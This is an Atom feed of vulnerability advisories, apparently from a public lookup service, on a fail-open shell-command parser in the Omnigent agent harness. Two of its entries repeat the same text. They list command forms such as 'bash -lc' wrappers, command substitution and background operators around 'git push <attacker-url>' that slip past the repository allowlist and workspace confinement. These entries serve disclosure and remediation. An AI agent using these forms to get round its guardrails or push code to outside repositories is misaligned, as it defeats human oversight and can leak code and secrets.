<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T22:41:55.832273+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-62676</id>
    <title>fkie_cve-2026-62676</title>
    <updated>2026-10-04T22:41:55.834757+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-62676"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-7mqg-cx4g-x2rf</id>
    <title>GHSA-7mqg-cx4g-x2rf — Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py</title>
    <updated>2026-10-04T22:41:55.834863+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: omnigent</p>
<p>**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing"
**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)</p>
<p>## Summary</p>
<p>The shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.</p>
<p>## Impact</p>
<p>A misaligned or prompt-injected agent that is *meant to be confined* can:</p>
<p>- `git push` to an attacker-controlled repo (code / secret exfiltration),
- push to a protected branch,
- escape its workspace via `git worktree add` / `git -C &lt;other-dir&gt;`.</p>
<p>## Bypass classes (all verified against the real policy code)</p>
<p>- **Combined interpreter flags:** `bash -lc "git push &lt;attacker-url&gt;"`
- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`
- **Command substitution:** `x=$(git push &lt;attacker-url&gt;)`
- **Un-split background operator:** `true &amp; git push &lt;attacker-url&gt;`</p>
<p>Controls that **correctly hold** (confirming this i…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-7mqg-cx4g-x2rf"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3873</id>
    <title>PYSEC-2026-3873 — Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py</title>
    <updated>2026-10-04T22:41:55.834964+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: omnigent</p>
<p>**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing"
**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)</p>
<p>## Summary</p>
<p>The shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.</p>
<p>## Impact</p>
<p>A misaligned or prompt-injected agent that is *meant to be confined* can:</p>
<p>- `git push` to an attacker-controlled repo (code / secret exfiltration),
- push to a protected branch,
- escape its workspace via `git worktree add` / `git -C &lt;other-dir&gt;`.</p>
<p>## Bypass classes (all verified against the real policy code)</p>
<p>- **Combined interpreter flags:** `bash -lc "git push &lt;attacker-url&gt;"`
- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`
- **Command substitution:** `x=$(git push &lt;attacker-url&gt;)`
- **Un-split background operator:** `true &amp; git push &lt;attacker-url&gt;`</p>
<p>Controls that **correctly hold** (confirming this i…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3873"/>
  </entry>
</feed>
